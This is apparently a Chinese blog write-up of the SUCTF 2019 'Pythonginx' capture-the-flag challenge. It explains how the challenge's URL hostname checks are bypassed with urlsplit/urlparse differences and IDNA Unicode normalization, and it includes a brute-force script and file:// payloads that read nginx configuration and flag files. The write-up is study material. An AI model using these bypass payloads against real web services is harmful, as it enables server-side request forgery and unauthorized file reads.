[SUCTF 2019]Pythonginx(Idna与utf-8编码漏洞)

每天一题,记录学习

在这里插入图片描述
题目直接给了源码

        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    </code>
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->

知识点

1、CVE-2019-9636:urlsplit不处理NFKC标准化
2、nginx重要文件的位置
3、url中的unicode漏洞引发的域名安全问题(19年black hat中的一个议题)

方法一(非预期)

python 中 urlparse 和 urlsplit 模块介绍

首先注意到的就是三个 if 判断,分别被 urlparseurlsplit 处理,那这就要知道这两个的区别了

urlsplit是拆分,而urlparse是解析,所以urlparse更为细致

区别

urlsplit函数在分割的时候,path和params属性是在一起的

from urllib.parse import urlsplit, urlparse
url = "https://username:password@www.baidu.com:80/index.html;parameters?name=tom#example"

print(urlsplit(url))
"""
SplitResult(
    scheme='https', 
    netloc='username:password@www.baidu.com:80', 
    path='/index.html;parameters', 
    query='name=tom', 
    fragment='example')
"""
print(urlparse(url))
"""
ParseResult(
    scheme='https', 
    netloc='username:password@www.baidu.com:80', 
    path='/index.html', 
    params='parameters', 
    query='name=tom', 
    fragment='example'
)
"""

这里做个实验,对源码做了一点改动帮助分析
在这里插入图片描述
可以看见这样是不能通过前两个 if 判断的
但是假如 URL 是这个呢,urlparse 和 urlsplit 又会怎么解析呢,我们再来看看三个 if 的判断结果
在这里插入图片描述
在这里插入图片描述
可以看到这个时候host 的值都为空,也就成功通过了host != suctf.cc 的条件,然后再第三个判断条件又拼接出 suctf.cc ,成功绕过。

源码暗示了 nginx,这里需要读取nginx的配置文件才能知道 flag 的位置,不了解 nginx 重要文件的存放位置,这里做个记录

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

payload

file 协议读取文件
file:////suctf.cc/usr/local/nginx/conf/nginx.conf
file:////suctf.cc/usr/fffffflag

方法二(预期解)

url中的unicode漏洞引发的域名安全问题
idna与utf-8编码漏洞

U+2100,U+2101,U+2105, U+2106, U+FF0F, U+2047, U+2048, U+2049U+FE16,U+FE56, U+FF1F, U+FE5F, U+FF03, U+FE6B, U+FF20

简单来说就是上面这类的 Unicode 字符在经过 Idna 和 utf-8 处理后被解析
比如这个字符 在被处理后的结果是 ℆ -> c/u

file://suctf.c℆sr/fffffflag
处理后就是
file://suctf.cc/usr/fffffflag

在这里插入图片描述

方法三(跑脚本)

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass
def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False
        
if __name__=="__main__":
    get_unicode()

在这里插入图片描述
随便使用其中一个就行,然后URL编码一下
在这里插入图片描述
在这里插入图片描述

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值